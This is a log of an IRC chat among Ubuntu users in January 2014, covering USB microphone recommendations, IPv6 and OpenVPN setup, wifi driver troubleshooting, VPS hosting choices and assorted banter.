<directhex> basically, blue all the things
<popey> indeed
<ikonia> popey: just wondered if there was a solid USB microphone that had %100 support out of the box on linux
<directhex> we use a yeti pro as our conf call mic for non-SIP conf calls
<directhex> e.g. hangouts, skype
<ikonia> found some bit online but written by idiots, so thought if you where actually using one...
<popey> see above â»
<popey> I use blue snowball for all hangouts, and some other podcasts
<ikonia> directhex: yeti pro, let me see, thank you
<popey> http://imgur.com/2XSX0Rr you can see it on my messy desk in the middle
<directhex> general case: usb audio should JustWork(tm) on linux
<ikonia> popey: that's huge
<popey> ah, thats the mount
<popey> you dont need that
<ikonia> directhex: I'm doing some work away from home and was thinking about doing some recording while away to make use of down time, so needed an "ok" quality mic
<popey> blue are above okay quality
<ikonia> the reviews online are so up and down and written by such idiots it's hard to get a factual /trusted review
<directhex> yeti is giant, but like i said, conf room mic
<ikonia> the blue looks ok
<ikonia> so does the yeti
<popey> I've had it for maybe 4 years or more
<popey> 20/09/2010
<gone_> Good night,it's 23:14 here in China
<popey> nn gone_
<ikonia> gents, great tips, nice to have a bit of a trusted opinion
<directhex> Blue have some tiny portable mics
<directhex> tiki and snowflake
<shauno> ah yes, famous grouse, the cornerstone of any work-from-home setup :)
<popey> hehe
<directhex> or i expect the blue icicle will work, that's an XLR converter dongle
<shauno> now the laminator makes sense
<popey> lol
<MartijnVdS> LAMINATE! LAMINATE!!
 * daftykins sedates MartijnVdS 
<Myrtti> gah, I hate when I forget what I was doing
<MartijnVdS> Myrtti: coding perl!
<Myrtti> lol, that would be a feat
<daftykins> knitting perl!
<Myrtti> what I've done in perl in my whole life: http://paste.ubuntu.com/6762588/
<Myrtti> hitech.
<Myrtti> much perl.
<popey> i wrote some patches to usemod wiki
<popey> which was fun as it's a gigantic single perl file
<Myrtti> popey: I bet my quality coding is better and fancier and more useful than yours!
<Myrtti> not.
<davmor2> daftykins: you don't knit perl you knit knit, you perl perl :P
<daftykins> :'(
<popey> oh mine was mostly copy/paste trial/error/error/error/error*
<SuperMatt> I'll tell you what I do with perl
<SuperMatt> I run away from it, crying
<davmor2> SuperMatt: haha
<SuperMatt> I tried learning it
<SuperMatt> but in the end I found I was better suited to pythongs
<SuperMatt> much snugger fit
<davmor2> SuperMatt: do we really want to know that you wear 3.14....... pairs of thongs ;)
<SuperMatt> I actually regularly misspell python as pythong, so I've just turned it in to a running joke
<SuperMatt> I guess because the motion of 'on' on the keyboard is quite similar to 'in', which is often followed by a 'g' for doing words
<SuperMatt> or it could be that I have an unconscious desire to wear thongs
<SuperMatt> one of the two
<SuperMatt> take your pick
<MartijnVdS> SuperMatt: why not both!
<SuperMatt> \o/
<popey> shutdown â shitdown is my most common typo
<SuperMatt> (\/) | OvvvO  | (\/) - why not zoidberg?
<SuperMatt> !language
<lubotu3> Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
<SuperMatt> soz popey ;)
<Laney> OH MY!
<TwistedLucidity> Ban this sick filth! :-P
<MartijnVdS> !langridge
<MartijnVdS> 8-)
<SuperMatt> (\/) | Â°vvvÂ°  | (\/) - why not zoidberg? (this is much better)
<TwistedLucidity> All I see is two dead PacMen and a two headed snake
<foobarry> was gone typing from china? great fw not include irc?
<popey>  (ÊâÊ)ã¯ å½¡ â»ââ»
<popey> owl flip is my fave unicode thing atm
<Myrtti> the ip came from chinanet
<Myrtti> descr:          CHINANET Guangdong province network
<daftykins> Owls do tend to look like they have the potential for rage
<TwistedLucidity> foobarry: If memory server the GreatFW doesn't work, so they employ a small army to manually check stuff
<TwistedLucidity> s/server/serves
<Myrtti> ooooooo http://www.myscriptfont.com/
<bigcalm> daftykins: http://www.youtube.com/watch?v=M8el_P4yvfc
<daftykins> :D
<Myrtti> of course Bt SmartTalk can't work if I've got a Finnish sim in my phone
<Myrtti> of course...
<Myrtti> nnnngnghghghghghghhghghg
<daftykins> 0o
<mapp> never heard of bt smat talk:)
<mapp> smart
<mapp> hmm
<mapp> so i setup a he.net tunnel and according to the test i can use ipv6 fine..i can access ipv6.google.com and nslookup ipv6.google.com returns right but i cant seem to connect to any ipv6 irc servers?
<brobostigon> in irssi, you either owuld set to protirise ipv6 and or an ipv6 only server, it ipv6.freenode.net for example.
<Myrtti> well, I suppose I'll have to pop my 3 sim into the old work horse Galaxy Nexus then
<mapp> i was trying xchat
<mapp> but manually connecting to ipv6 servers fails just says cant resolve
<mapp> surely it should be able to when i can reach ipv6 sites in chrome and nsookup returns results
<daftykins> arsen: how do sir
 * Myrtti cries over 
<Myrtti> DT7150+
<davmor2> rip trigger man now who will be the man with the oldest broom on the council :D
<ali1234> ARMA II on humble weekly sale :D
<MartijnVdS> what is it
<ali1234> a gaem!
<ali1234> pity there's no linux version
<MartijnVdS> what kind of game is it?
<ali1234> it's a FPS game with extremely high realism
<ali1234> they call it a military simulator
<popey> blimey, 6 US for that lot
<ali1234> yeah, i guess ARMA III is nearly done?
<popey> doesnt look very realistic from the yt vid
<ali1234> not realistic graphics
<popey> right
<popey> situations
<ali1234> http://www.youtube.com/watch?v=F1dH73p3Yvc
<popey> this is cool
<popey> is he playing against NPCs or real players?
<ali1234> real players
<popey> heh
<popey> fun
<MartijnVdS> hm, steam down?
<MartijnVdS> "Cannot connect"
<MartijnVdS> ah no just slow
<MartijnVdS> saints row iv is free to play this weekend
<MartijnVdS> *fires up ye olde Windows 8 computer*
<bigcalm> Nice video
<jussi> sigh. stupid meds. slept in the afternoon,  now can't sleep :/
<MartijnVdS> jussi: try this: http://open.spotify.com/user/martijnvds/playlist/2UHNlhHRMcziirEn188343
<jussi> Thanks but not helpful...
<MartijnVdS> that playlist helps me sleep :)
<jussi> hrm. who was I talking to about tablets the other day?
<jussi> seems like the tab pro 8.4 will be only 389â¬
<Neil__> hello
<arc__> does anyone know what the mac irc is?
<Neil__> No
<Neil__> to be honest I've just been smashing my head against my keyboard trying to get ubuntu to actually do something
<popey> https://www.youtube.com/watch?v=JcnLq3_Tix8 was entertaining, and tense!
<popey> thanks for the link ali1234 these are really good
<ali1234> check out the dark business vids with chkilroy, they're pretty funny :)
<ali1234> https://www.youtube.com/watch?v=H7ed96GR7Hs
<popey> yeah, that was funny
#ubuntu-uk 2014-01-17
<MooDoo> morning al
<foobarry> morn
<Myrtti> meh
<foobarry>  the bbc news site seems to have turned into yewtree/missing children and actor deaths
<foobarry> they must have a new policy about reporting all miising children
<Myrtti> which news site are you looking at, I can't see any of those
<foobarry> news.bbc.co.uk lately has been nothing  much else
<Myrtti> ah we are looking at the same site
<Myrtti> I can't even figure out where I would have configured it to show different things
<foobarry> the other day the entire top 10 list was dlt/roach/rolf and then some kids that went missing and were found,
<foobarry> lsat year they decided to report on every stabbing that happened
<Myrtti> I don't see a single yewtree newspiece there now and the first death is "A Japanese soldier who refused to surrender after World War II ended and spent 29 years in the jungle dies aged 91 in Tokyo. "
<foobarry> i would read that, cant see it
<Myrtti> http://www.bbc.co.uk/news/world-asia-25772192
<foobarry> seems like yiu get less uk centric stuff (with good reason)
<knightwise> hey everyone
<MooDoo> morning knightwise
<popey> morning
<MartijnVdS> \o
<MartijnVdS> It's Friday!
<knightwise> morning everyone
<MartijnVdS> For electronics people: a tour of a TV transmitter station: http://www.youtube.com/watch?v=mR_wJkxKSXU
 * popey clicks watch later
<brobostigon> good morning, boys and girls.
<MooDoo> morning brobostigon
<brobostigon> morning MooDoo
<brobostigon> workfare/mwa day two, here we come,
<MooDoo> brobostigon: what's that?
<brobostigon> MooDoo: its a scheme created by our current conservative government by which, people on jsa do various unsuitable pointless jobs, 20 hours a week plus, and no pay.
<MooDoo> ouch
<brobostigon> exactly, its only 4 weeks, but it four weeks of my wasted time, by which i could be doing better more constructive things.
<brobostigon> and 4 weeks os wasted tax money, which could have been spent on more useful things, also.
<popey> brobostigon: what jobs have you been conscripted to do?
<brobostigon> popey: i spent the whole of yesterday, in a shop, tagging clothes.
<popey> Is this compulsory to enable you to claim whatever benefits you get?
<brobostigon> yes, and yes jsa.
<diplo> Morning all
<MooDoo> brobostigon: so how to all the other people that claim who don't work get away with it?
<SuperMatt> praise be to the local bacon establishment for curing my self inflicted ills
<popey> \o/ bacon
<brobostigon> MooDoo: if you read the legislation surrounding it, it is a decision down to the individual jc advisor who can force someone to do this, if in their opinion, you as the jobseeker arent complying with their expectations.
<popey> expectations being looking for and applying for jobs?
<SuperMatt> http://gailsimone.tumblr.com/image/73535804151 barbara gordon and I are in the same boat right now
<MooDoo> bacon!!! http://www.xda-developers.com/wp-content/uploads/2013/06/jonobacon4-681x1024.jpg
<brobostigon> popey: and doing atleast 8 job searches a week, applying for atleast 4 jobs a week, 1 spec letter, and using ujm, attending the jc once a week, more.
<MooDoo> ooops wrong kind :S
<popey> golly
<SuperMatt> MooDoo: if I wasn't sick enough already...
<MooDoo> SuperMatt: lol
<popey> so you applied for like 200 jobs in a year!?
<popey> do you get many interviews?
<brobostigon> popey: thats what they consider as a base point, yes.
<popey> right
<brobostigon> popey: last one was 2 years ago.
<MooDoo> brobostigon: where you live again?
<popey> 400 jobs applied for and no interviews!?
<brobostigon> MooDoo: north oxfordshire.
<MooDoo> ah ok
<popey> thats a terrible hit rate. do they give feedback as to why you didn't get an interview? (I guess most don't, but just chuck cv in the bin without telling you)
<MooDoo> there is this if you want a quick read brobostigon http://www.heartinternet.co.uk/careers
<brobostigon> popey: various things, but mainly my huge work gaps,
<brobostigon> MooDoo: ty.
<popey> I've seen some people get success via contributing to floss
<SuperMatt> that makes no sense. you're not getting jobs because you have a large work gap, and your work gap just keeps getting bigger because you're not getting any jobs
<brobostigon> my cv is filled with those kinds of those kinds things, loads of floss related activities.
<brobostigon> SuperMatt: exactly.
<SuperMatt> tbh, I think it's hr departments that stand in the way
<brobostigon> ok,
<MooDoo> brobostigon: welcome
<popey> brobostigon: i was thinking more of one block of work to one prominent project
<SuperMatt> hr departments I've been in contact with seem to have no understanding of techie jobs, and have glossed over amazing cvs because the words they used weren't exactly the same words used in the job spec
<popey> worked for me, anyway
<brobostigon> ah. i see.
<popey> and the centos guys.. getting hired/bought by red hat
<brobostigon> good example.
<bigcalm> Good morning peeps :)
<popey> pip pip
<bigcalm> Hip hop
<bigcalm> What's happening?
 * brobostigon sticks up his middle finger at iain duncan smith on the tv.
<popey> hah
<MartijnVdS> brobostigon: what's wrong with him?
<bigcalm> I like his 1st name
<brobostigon> MartijnVdS: he is an ass.
<Laney> yeah it's a good name
<Laney> just the right number of is
<bigcalm> I quite agree :)
<MartijnVdS> brobostigon: ah wait, I'm confusing him with Duncan Jones, movie director & David Bowie's son
<brobostigon> MartijnVdS: yes, he is something entirly different.
<bigcalm> Why isn't it Wednesday yet?
<MartijnVdS> bigcalm: it's still recovering from the last time
<MartijnVdS> brobostigon: jones, smith.. it's all the same 8-)
<bigcalm> That said, I am somewhat surprised that it's Friday
<brobostigon> MartijnVdS: hmmm,
<knightwise> any of you guys have any experience with openvpn ?
 * brobostigon points knightwise in MartijnVdS's direction.
<MartijnVdS> knightwise: what do you want to knwo?
<knightwise> MartijnVdS: Yousa Hava Somma Info ?
<knightwise> I want to know if I can setup an openvpn to my home router
<knightwise> even if my isp blocks all ports below 1024
<MartijnVdS> knightwise: I've documented what I did on blog.vandestreek.net
<MartijnVdS> knightwise: that should be a good basic setup, if you want to know more, just ask :)
<knightwise> i have a openvpn server on my router
<knightwise> the thing i'm not sure of is : what ports does open vpn REALY need
<MartijnVdS> just the one, 1194 or something?
<knightwise> because I can"t open up any ports below 1024
<MartijnVdS> but you can even configure that
<knightwise> just the one ? You sure  ?
<MartijnVdS> yeah
<knightwise> ok, then i"ll be ok
<MartijnVdS> and you can set that one port to be any port you like
<MartijnVdS> if you don't like defaults for any reason ;)
<knightwise> ok ;:) 'ill give it a try .. thanx :)
<JamesTait> Good morning all; happy Friday, and happy (Don't) Ditch New Year's Resolutions Day! :-D
<knightwise> happy friday
<SuperMatt> I don't do new years resolutions, so I have nothing to ditch
<JamesTait> SuperMatt++
<bigcalm> I use 4 workspaces in Unity. Is it possible to have programs load into selected workspaces upon logging in?
<aquarius> bigcalm, the last time I tried to do that you needed to use something like devilspie to make it happen
<aquarius> that was years ago, mind, but I suspect the basic philosophy hasn't changed. Whether devilspie still exists is another question , and it was a pretty viciously technical tool :)
<MartijnVdS> the design team thinks multiple desktops should be abolished, or so it seems
<Myrtti> I hate HMRC. That is all.
<MartijnVdS> so it's probably still devilspie
<Myrtti> bigcalm: xfwm was capable of remembering them at one point, or rather the sessions
<Myrtti> I've been wanting something like that myself for Unity for ages
<aquarius> MartijnVdS, they nonetheless continue to exist. That seems a perfect example to me of something which the design team have decided based on evidence is more confusing than useful to a user, but can lie in wait for them to discover at a later date if hey ever need them.
<aquarius> I personally hate virtual desktops and never use them, but I wouldn't claim that I'm the average user ::P)
<Myrtti> virtual desktops were my main draw to Linux on Desktop 10 years ago
<knightwise> I loved them on my netbook
<bashrc> I think virtual desktops are now switched off by default in Unity
<bigcalm> Thanks guys
<bigcalm> I'll stick to clicking a load of buttons when I login
<bigcalm> I have 3 monitors and still use 4 virtual desktops - I guess I'm not the average user either
<MartijnVdS> just don't log out ever ;)
<DJones> Has anybody got a Chromecast dongle? I'm thinking about getting one when they're released if I'd be able to stream audio/video from a samba share via wifi, just wondered if anybody had tried that
<bigcalm> DJones: I have a similar device. I use MediaTomb (server) and MediaHouse-Pro (android) to stream stuff
<Myrtti> I wish this http://www.linux.com/learn/tutorials/367395-weekend-project-record-from-skype-calls-and-other-apps-on-linux has a bit better explanations
<bigcalm> Turns out that my blu-ray player has automatically hooked into my MediaTomb server, so I don't actually use the Android dongle any more :|
<Myrtti> DJones: samba share probably won't work
<davmor2> Morning all
<bigcalm> Myrtti: I use this for recording all of my Skype calls: http://atdot.ch/scr/
<bigcalm> Morning davmor2
<Myrtti> bigcalm: I'm trying to get the audio of Google Hangouts
<bigcalm> Ah, pass :)
<DJones> bigcalm: I've got an old desktop that I normally use as the receiver connected via cables, was just wondering if there was anything better out there that would connect via hdmi to let me get rid of the old desktop
<DJones> Maybe need to look at the roku
<bigcalm> DJones: http://www.amazon.co.uk/gp/product/B00B18K4T2/ref=oh_details_o06_s00_i00?ie=UTF8&psc=1 and http://www.amazon.co.uk/gp/product/B009YPQ7PO/ref=oh_details_o05_s00_i00?ie=UTF8&psc=1
<aquarius> Myrtti, that's hard. We do it for Bad Voltage. Jono has worked out how to do it now, but for a while we had an ipad signed into the hangout as a different user and ran a cable from its output to the mixing desk. You might want to talk to Jono about how he does it now :)
<DJones> bigcalm: Interesting I'll have to spend a bit of time looking around
<Oli> popey: I can barely believe that guy on G+... Seems equivilent to commenting "BOOOORING!!!" on everything you don't care about.
<popey> yeah
<davmor2> Myrtti: this might help if you bastardise it a bit http://askubuntu.com/questions/171287/how-to-pass-record-audio-output-as-an-input-device
<SuperMatt> old habits die exceptionally hard
<SuperMatt> I'm really struggling to resist the temptation to keep my inbox in order
<SuperMatt> there's absolutely not need for me to do it, but here I am, dragging emails into their relevant folders
<Myrtti> davmor2: thanks. I don't know if the HMRC would particularly like me recording my phonecall with them - I'm lucky I didn't record the previous phonecall, it wasn't graceful.
<Myrtti> reading their website makes me want to throw things
<davmor2> Myrtti: don't forget if you decide to record people you have to inform them that is what you are doing especially on phone calls.
<Myrtti> yes I know
<Myrtti> for now I'm cooling off because I've been told by the same person to read the website three times in 30 seconds
<Myrtti> which made me kindly thank them for their time and not wait for their answer for it
<Myrtti> Seeker`: ^
<davmor2> Myrtti: did you read website /me ducks for cover
<Seeker`> :/
<Seeker`> call back, you'll get a different person
<Seeker`> might be more helpful
<Myrtti> did you know that their material has taxation flowcharts
<Myrtti> or rather, flowcharts so you can determine where you are domiciled
<Myrtti> tax remittance, double taxation relief, *BOOM*
<davmor2> Myrtti: go away, have a cup of tea/coffee take a deep breath come back, make sure you read everything make some notes on your issues that you are having, explain you read the website and you still have this issue is there someone who can help you understand it.
<davmor2> Myrtti: I found hmrc to be one of the better government agencies for helping you when your were stuck, I feel sorry that you seem to have the opposite experience.
<treb0r> Hello Ubutnu UK. I read this: http://www.jonobacon.org/2014/01/17/growing-an-active-ubuntu-advocacy-community/ and i would like to get involved in UK adocacy. Am I in the right place?
<treb0r> advocacy even
<davmor2> AlanBell: ^ a comrade in arms for you :)
<treb0r> how does one get invloved in Ubuntu UK? Where are the meetings?
<davmor2> treb0r: possibly I don't know who is organising such things AlanBell might
<treb0r> ok, ta.
<popey> hello treb0r
 * popey recognises that nickname from the past
<davmor2> popey: was it on the side of a pack of mints?
<popey> :Ã¾
<bigcalm> Heh
<treb0r> hello popey ;-)
<treb0r> I'm back into Ubuntu again after a long break
<treb0r> looking to get involved if possible
<treb0r> Even using it on the server now. Impressed!
<treb0r> I see that popey is now an official canonical dude. nice one!
<popey> heh
<davmor2> treb0r: you weren't joking about it being a while :)
<treb0r> indeed. i think it was like 2006-7 or summat
<popey> i was the first person to join http://launchpad.net/~not-canonical and the first to leave
 * bigcalm shakes fist at Rackspace and their lack of internal communication
<bigcalm> SuperMatt: you realise that all future Rackspace venting will be directed your way :P
<treb0r> popey: I read your article about DO the other day and have been giving them a go. Pretty amazing for the price I'd say.
<popey> yeah, really quick to spin up droplets
<SuperMatt> bigcalm: dang it! Nooooooo!
<bigcalm> :P
<treb0r> I do WordPress sites for alivivng. Now considering a 1 client: 1 VM approach to hosting.
<treb0r> living even
<popey> sounds sane, except for the overhead of machine maintenance
<SuperMatt> treb0r: consider lxc
<popey> but you can automate some of that
<treb0r> indeed. Playing with puppet as we speak
<treb0r> SuperMatt: I've been reading about lxc actually.
<SuperMatt> with lxc you can have one big server, and then have multiple containers, each with their own apache, mysql, etc
<SuperMatt> and then you use nginx as a reverse proxy if you're only allowed one ip address
<treb0r> I'm attracted to tradional VMs as it makes it simple for me to set my clients free if they want to handle thier own hosting in the future..
<treb0r> nicely self contained
<SuperMatt> how on earth is my code folder 1.4G?
<treb0r> popey: I was thinking that it's a shame that there isn't an entry level pricing structure for Landscape. it would make sense to offer it more cheaply for small VMs methinks.
<popey> i dont know about the pricing for landscape
<treb0r> it's pricey
<treb0r> But i understand why ;-)
<treb0r> not complaining, just thinking outloud
<popey> heh
<SuperMatt> treb0r: if you use lxc, each instance will be self contained, so setting people free is just as easy with traditional vms
<treb0r> SuperMatt: Using DO as an example, I can create an image from a VM, my client cna set up their own DO account, and then the DO admins will spin up a new VM based on the image. How would that work with lxc?
<SuperMatt> ah, it wouldn't
<SuperMatt> maybe your way is better
<treb0r> I'm not completely decided on what to do yet, but DO does make this approach at least doable.
<diplo> What was this article on DO?
 * diplo is interested
<diplo> :)
<knightwise> hey guys,  remember that I mentioned that my wifi speeds on my lenovo box have been realy crappy lately ?
<knightwise> I was wondering if it would have something to do with the wifi firmware or driver
<MartijnVdS> knightwise: did you figure out which driver you're using?
<knightwise> i'm at the machine right now , how can I find this out ?
<treb0r> diplo: sorry, twas a twet not an article. I misremembered it ;-0
<treb0r> tweet even
<MartijnVdS> knightwise: lspci? lsusb?
<diplo> treb0r: ta, looking at his tweets now
<knightwise> Intel Corporation Centrino Wireless-N 2230 (rev c4)
<diplo> Ah, Digital Ocean you mean by DO ?
<treb0r> indeed
<MartijnVdS> knightwise: that's an iwlwifi card, can you check /sys/module/iwlwifi/parameters/11n_disable ?
<MartijnVdS> knightwise: just cat it
<diplo> I'm debating getting another VPS, using a linode one for work but pricing looks good on there
<treb0r> I heard negative reports last year but seems that they are better now. Using gandi currently but thinking about trying out Do for client hosting..
<knightwise> it says 0
<treb0r> Linode is great, but more expensive
<diplo> Use Gandi for domain hosting now, and the linode vps I'm testing with seems good/quick but no real load on it yet
<treb0r> Gandi seem great too.Been using them for two years now without issue
<popey> \o/ DPD guy is 15 mins away
<popey> love dpd
<knightwise> MartijnVdS: does this info give you any clue ?
<dwatkins> I was surprised to see lots of good reviews for CityLink online. They're always terrible for me.
<knightwise> MartijnVdS: should the setting be set to 1 ? because I also have an N network but the laptop only sees the G one
<gone_> Hello guys
<gone_> I'm back
<MartijnVdS> knightwise: then it should see your "N" network, if it's "0"
<MartijnVdS> knightwise: I have no idea what is going on in that case.. do you have any weird (Non-default) software running?
<MartijnVdS> knightwise: is the problem also there using the live cd?
<foobarry> hello gone_
<knightwise> MartijnVdS: I"ll give that a try (the live CD)
<knightwise> no non-default things running that I know of
<knightwise> the twist should support N
<knightwise> gonna try the live cd in a jiffy
<Laney> i'm listening to a report about "the most beard-friendly pub in the UK"
<Laney> that must be quite a place
<directhex> sounds manly
<YaManicKill> What makes a pub non-beard friendly
<Laney> enforced shaving at the door
<YaManicKill> Is it just refusal of entry? Or forced shaving?
<YaManicKill> Ah, beat me :-P
 * popey looks for somewhere to put his newly laminated vim cheat sheet
<foobarry> which source did you use popey ?
<popey> http://vimcheatsheet.com/
<foobarry> you could laminate your bitcoins
<foobarry> i have a 50,000 italian lira note laminated as a bookmark
<foobarry> after i found it in a drawer too long after the euro thing
<foobarry> ~ Â£25
<MartijnVdS> foobarry: you're Latin1ing at us ;)
<foobarry> i am?
<popey> ooh, i like the idea of laminating old money
<popey> I have a load of old unusable money
<foobarry> i laminated some russian roubles too
<foobarry> $10 for the vim cheat sheet?!"??!?
<TwistedLucidity> foobarry: This one is zero-cost. Doesn't look as good though. http://www.viemu.com/vi-vim-cheat-sheet.gif
<foobarry> the link popey sent also has a free png
<foobarry> i see gif, i think animated...
<popey> that one is fugly though
<foobarry> i was too lazy to back to my desk to get my cordial, no i have to juggle between pint glass and cup to mix the cordial after the water has been added first :S
<TwistedLucidity> popey: Yeah, I know.
<TwistedLucidity> foobarry: The PNG is low quality, but enough to get an idea of the layout. It looks a lot better than the one I linked to which was kinda my point. Design costs.
<foobarry> we had a team coffee morning today. can't believe how high the sugar & cakes:person ratio was
 * TwistedLucidity is jealous of foobarry
<foobarry> there are still spares
<foobarry> muffins, brownies, pastries
<popey>  i have the png at a4 and its hard to read some of the text
<popey> â old eyes
<foobarry> you need one of those magnifiers that old people magazines advertise
<foobarry> for reading knitting patterns
<foobarry> or glasses
<popey> need an eye test
 * popey books one
<foobarry> free in tescos
<foobarry> or free to realtives of glaucoma suffers once turning 40
 * foobarry never had one , maybe at school, i don't remember
<awilkins> I started getting myopia when I was 17 but I have an exercise regime that keeps it at bay
<awilkins> Was revising with books a lot, noticed it was worse when I'd been hitting the books hard
<MartijnVdS> awilkins: weird! :)
<awilkins> Some time spent focussing on distant objects helps, as does lots of changes of focus from near to far
<awilkins> Also, preventative measure  +1D reading glasses
<foobarry> revising and masturbation are proportional among teenagers
<awilkins> Renders the focal length of my screen at infinity, simulating the beneficial effects of a nice walk in the country
<awilkins> Apart from the lack of fresh air and exercise, of course
<foobarry> i wonder if tablets and kindles have changed how kids revise now
<awilkins> holy poop $10 for a vim cheatsheet
<awilkins> My technique for revision was terrible anyway
<awilkins> I'd probably use one of those card things that has a psychometric model that knows the best intervals for you to learn at
<awilkins> Just making the card deck for it would probably help a lot
<foobarry> http://www.zimbio.com/quiz/Ukldm8Pi5Ub/Star+Wars+Character
<awilkins> I got R2D2
<awilkins> I was trying for Obi Wan
<foobarry> got han solo. something wrong there
<awilkins> Scoundrel.
<Myrtti> hm, it looks like I can invite Google Hangouts-users to a telephone calle.
<Myrtti> -e
<davmor2> how the hell did I get yoda
<foobarry> think you need to rephrase that
<davmor2> sorry.  Hmmm yoda I got, how happening is this
<foobarry> they need to show their workings
<popey> \o/ I'm The Emperor
<popey> Oh hang on, that's bad.
<daftykins> and what new clothes have you?
<Myrtti> Obi-wan \o/
<foobarry> most of you lot die in the films
<foobarry> i just get frozen
<awilkins> I'm the secret ruler of the universe, always intervening at the precise moment to make a critical difference, and laughing in binary because you all just think I'm a blue dustbin on wheels.
<popey> i have lightning weapon, best weapon
<popey> nothing to drop/lose
<popey> just hands
<foobarry> i outrun old man emperor
<awilkins> I had C3PO's memory wiped because he was getting to close to the TRUTH, I tell you.
<popey> hands that do dishes can feel soft as your face
<foobarry> mild green fairy liquid
<Myrtti> foobarry: I choose to leave
<awilkins> "Your faith in your inferior dishwashing solutions is your weakness. With every passing moment, you make yourself more my dishwashing slave."
<Myrtti> I can't use green fairy liquid :-<
<daftykins> Myrtti: why ever not? :O
<awilkins> Mmmmmhmmm, no better colour than green, there is! <teeheehee>"
<Myrtti> arms and hands get itchy
<awilkins> My mum has the same
<Myrtti> other colours are fine, and usually other makes of green dishwashing liquids
<foobarry> is there any way to see if a mac mini is intel or powerpc without truning it on?
<foobarry> ...ah a small sticker i see intel core duo
<daftykins> should be a label you can lookup some numbers off
<daftykins> ah-har
 * foobarry ponders debian or ubuntu for a mini to run a display screen
<davmor2> foobarry: wow that is some heavy duty screen if you need an entire mini to power it
<foobarry> need more petrol
<MartijnVdS> foobarry: Petril? http://www.youtube.com/watch?v=GzzOw2tmb3A
<daubers> Afternoon
<diplo> BBCClick tweeting about Ubuntu touch and linking to OMGUbuntu site
<diplo> :)
<MartijnVdS> \o daubster
<diplo> BBCClick
<diplo> New Video Shows Multi-Tasking Improvements Coming to Ubuntu Touch http://bbc.in/1ddHwyR - nice!
<MartijnVdS> bb cc lick?
<diplo> :)
<daftykins> it's a little tech show
<foobarry> the multi task thing looks unwiedly in teh rain
<foobarry> when u don't wanna miss
<foobarry> too fiddly
<foobarry> this is what IBM firmware updates look like on a server. nothing like professional http://i.imgur.com/a88crLr.png
<dwatkins> terminal fail
<foobarry> thats the special bootable usb image they make you use
<foobarry> no such thing as using web interface for updates with Ibummers
<davmor2> foobarry: when did they become and apple subsidiary ?
<foobarry> iBM?
<MartijnVdS> Infernal Blue Machines
<foobarry> i want to kill whoever entered the original agreement with ibm
<foobarry> meaning we need to continue buying them
<foobarry> i waste a whole day just updating firmware, which is necessary because they break stuff severly always
<foobarry> "fixed power off issue with false voltage error"
<Myrtti> I wonder what the Finnish Society advisor thinks when I reply to her email good five years later... ahem.
<Myrtti> has it really been six years since LRL2008
<Myrtti> imagine that
<daftykins> foobarry: i think that update needs more dots :D
<daftykins> reminds me of DOOM2 extracting the WAD files
<foobarry> the update thing is a linux iso
<foobarry> it must scare off any windows users from ever touching linux because of the massively verbose erros at bootup
<daftykins> =]
<foobarry> they must think "THIS is linux? no way"
<dwatkins> I think that every time I boot Linux.
<dwatkins> At least with some distributions, you get a fairly nice list of [ OK ] lines
<davmor2> dwatkins: No you think.  This is linux? NO WAY!
<dwatkins> davmor2: well, I think "oh, that's disappointing, it's not giving me a nice concise list of services which have started up with or without success; people coming from a more GUI-related background would look upon this with horror"
<daftykins> =]
<shauno> reminds me, I've got some dell machines that won't take a firmware update because the updater doesn't recognise the machines :|  http://cl.ly/image/2d2S2F1w2w2A
<shauno> I'd much rather see ...done ;)
<foobarry> i hate CHAP
<foobarry> source of my iscsi issues
<davmor2> foobarry: Causes Hardware Access Problems?
<foobarry> fixed it :D
<diddledan> shauno: the instructions that come with an update for a sony VTR (broadcast) state something along the lines of "you will receive an error - this means that the update succeeded"
<diddledan> another update software (again for sony) finishes with the delightful message that "update complete. happy and lucky!"
<diddledan> davmor2: dwatkins: I enjoy seeing copious textual output on bootup
<shauno> errors on this one don't seem so lucky :/  I've tried applying it from within the OS, and with their boot disk .. neither works.  Just irritating because the update should address a bug in how the fans are handled, and allow them to not run 100%
<diddledan> what I really want, is a fancy graphical KMS bootsplash that shows me the copious textual output also
<diddledan> shauno: is it noisy? :-p
<diddledan> it surprises me how noisy my mbp can be when the fans run at 100%
<shauno> a little, yes.  I'm not allowed to run it mon-fri until we get it rehomed
<diddledan> although that usually only happens during a firmware update
 * davmor2 sends diddledan 10 print "Muppet! "; 20 goto 10 is that enough text?
<diddledan> davmor2: it needs more entropy than that
<diddledan> davmor2: preferably it needs to be meaningful text
<davmor2> diddledan: haha
<dwatkins> diddledan: I also enjoy seeing lots of text at boot-time, but it would be best if it's a choice between: 1) nicely formatted and consistent messages about daemons starting or failing to start and 2) a simple list of things which started not to scare desktop users new to Ubuntu or not familiar with the command line
<diddledan> I remember seeing a snippet of video about the windows development team that, seemingly to made them look clever, had a guy sitting staring at a compilation in cmd.exe on fullscreen
<shauno> I think that's why the [ OK ] stuff looks nice.  it might be meaningless to users, but at least it looks like Good News
<diddledan> "good news everyone"
<diddledan> "I've booked us all on a trip to the new black hole"
<diddledan> or similar
<diddledan> I forget my futurama quotes :-(
<shauno> http://cl.ly/image/3w2P3U2Z0c22  this is why we run into noise issues.  they've been telling us for years we're not allowed to have 42U in the office - but no-one's entirely sure how to move it now
<diddledan> I think the monkey might be an issue, too
<Myrtti> yup
<diddledan> and what's that on his back?
<Myrtti> either the bald one or the plush one
<diddledan> ba dum tsh
<shauno> the plush one's already been rehomed :)
<diddledan> \o/
<diddledan> where to?
<davmor2> the plush one did more work around the office
<shauno> my couch!  and now has pants (long story)
<Myrtti> I want the giant Sergei if he needs to be rehomed
<Myrtti> but I doubt he will
<Myrtti> Sergei, Sergey, whatever
<shauno> we've replaced fans in a lot of stuff to keep it quiet(er), but these dell boxes seem to be 'special'.  they just refuse to be quiet
<foobarry> model?
<shauno> 1950's and 2950's (1U and 2U versions of the same thing)
<diddledan> shauno: is the 42U housing critical components? e.g. can't you just turn it off at the wall? :-p
<shauno> oh none of it's critical; it's my toybox
<diddledan> ooh toys
<diddledan> in that case then I commend your diligence in preventing it's moving
<shauno> it appeared "like magic" when we moved from the old building, and now they're not sure what to do with it :)
<foobarry> had to get a half-ton  42u rack through a doorway that was 1inch too short yesterday
<foobarry> off a pallet down a rickety wooden slope
<foobarry> scary
<diddledan> fun
<foobarry> config -> no fun
<popey> Friday evening, time for http://open.spotify.com/track/3OcBH9Vzd1UwJkQd3r1dVG
<diddledan> popey: not Beccy Black?!
<diddledan> ooh, that's the theme to the hitchhiker's guide
<popey> it is â»
<knightwise> hey everyone
